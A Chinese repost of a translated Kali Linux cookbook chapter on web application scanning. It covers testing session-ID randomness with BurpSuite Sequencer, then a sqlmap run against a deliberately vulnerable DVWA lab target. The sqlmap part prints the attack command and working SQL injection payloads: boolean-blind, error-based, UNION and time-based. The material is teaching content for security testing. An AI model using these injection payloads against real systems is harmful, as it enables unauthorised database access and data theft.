欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Kali Linux 网络扫描秘籍 第七章 Web 应用扫描(三)

来源:本站整理 作者:佚名 时间:2016-11-13 TAG: 我要投稿

第七章 Web 应用扫描(三)

作者:Justin Hutchens

译者:飞龙

协议:CC BY-NC-SA 4.0

7.13 使用 BurpSuite Sequencer(序列器)

Web 应用会话通常由会话 ID 标识来维护,它由随机或伪随机值组成。出于这个原因,随机性通常是这些应用的安全的关键。这个秘籍中,我们会讨论如何使用 BurpSuite Sequencer 来收集生成的值,并测试它们的随机性。

准备

为了使用 BurpSuite 对目标执行 Web 应用分析,你需要拥有运行一个或多个 Web 应用的远程系统。所提供的例子中,我们使用 Metasploitable2 实例来完成任务。 Metasploitable2 拥有多种预安装的漏洞 Web 应用,运行在 TCP 80 端口上。配置 Metasploitable2 的更多信息请参考第一章中的“安装 Metasploitable2”秘籍。

此外,你的 Web 浏览器需要配置来通过 BurpSuite 本地实例代理 Web 流量。关于将 BurpSuite 用作浏览器代理的更多信息,请参考第一章的“配置 BurpSuite”一节。

操作步骤

为了使用 BurpSuite Sequencer,响应必须包含Set-Cookie协议头,或者其它伪随机数的值,测试需要它们来发送。这可以通过HTTP 代理历史或者先于浏览器的响应拦截来完成,像这样:

Burp 会自动使用响应中的所有 Cookie 值填充 Cookie 下拉菜单。作为替代,你可以使用Custom location字段,之后点击Configure按钮来指定响应中的任何位置用于测试,像这样:

在确定需要测试的值之后,点击Start live capture按钮,这会开始提交大量请求来获得参数的附加值。这个例子中,Burp 会提交大量请求,并将 PHPSESSID 从请求中去除。这会导致服务器为每个请求生成新的会话标识。这样一来,我们就可以获得样本值,它们可以用于完成 FIPS 测试。FIPS 测试由一系列测试组成,它们会评估所生成的伪随机数的熵。所有这些测试会以图形格式展示,使其十分易懂,像这样:

对于高准确率和彻底的 FIPS 测试来说,总共需要 20000 个值。但是分析最少可以以 100 个值来执行。除了执行实时捕获之外,Manual load标签页可以用于为测试上传或粘贴值的列表。

工作原理

BurpSuite Sequencer 对伪随机数样本执行大量不同的数学评估,根据所生成随机数的熵尝试判断其质量。实时捕获可用于生成样本值,它通过提交事先构造的请求,并导致服务器指派新的值。这通常通过从请求中移除现有Cookie值,从而使响应以新的Set-Cookie协议头的形式,提供新的会话标识来完成。

7.14 使用 sqlmap 注入 GET 方法

Web 应用常常接受所提供 URL 内的参数。这些参数通常以 HTTP GET 方法传给服务器。如果任何这些参数随后包含在发给后端数据库的查询语句中,SQL 注入漏洞就可能存在。我们会讨论如何使用 sqlmap 来自动化 HTTP GET 方法请求参数的测试。

准备

为了使用 sqlmap 对目标执行 Web 应用分析,你需要拥有运行一个或多个 Web 应用的远程系统。所提供的例子中,我们使用 Metasploitable2 实例来完成任务。 Metasploitable2 拥有多种预安装的漏洞 Web 应用,运行在 TCP 80 端口上。配置 Metasploitable2 的更多信息请参考第一章中的“安装 Metasploitable2”秘籍。

操作步骤

为了使用 sqlmap 来测试 HTTP GET 方法参数,你需要使用-u参数以及要测试的 URL。这个 URL 应该包含任何 GET 方法参数。此外,如果 Web 内容仅仅通过建立的会话来方法,还需要使用--cookie提供与会话对应的 Cookie。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 
                                ** {CUT} ** 
sqlmap identified the following injection points with a total of 279 HTTP(s) requests: 
--
Place: GET 
Parameter: id
    Type: boolean-based blind    
    Title: OR boolean-based blind - WHERE or HAVING clause    
    Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y

    Type: error-based    
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

    Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y

    Type: UNION query    
    Title: MySQL UNION query (NULL) - 2 columns    
    Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y

    Type: AND/OR time-based blind    
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)    
    Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y 
--

                            ** {TRUNCATED} ** 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

[1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载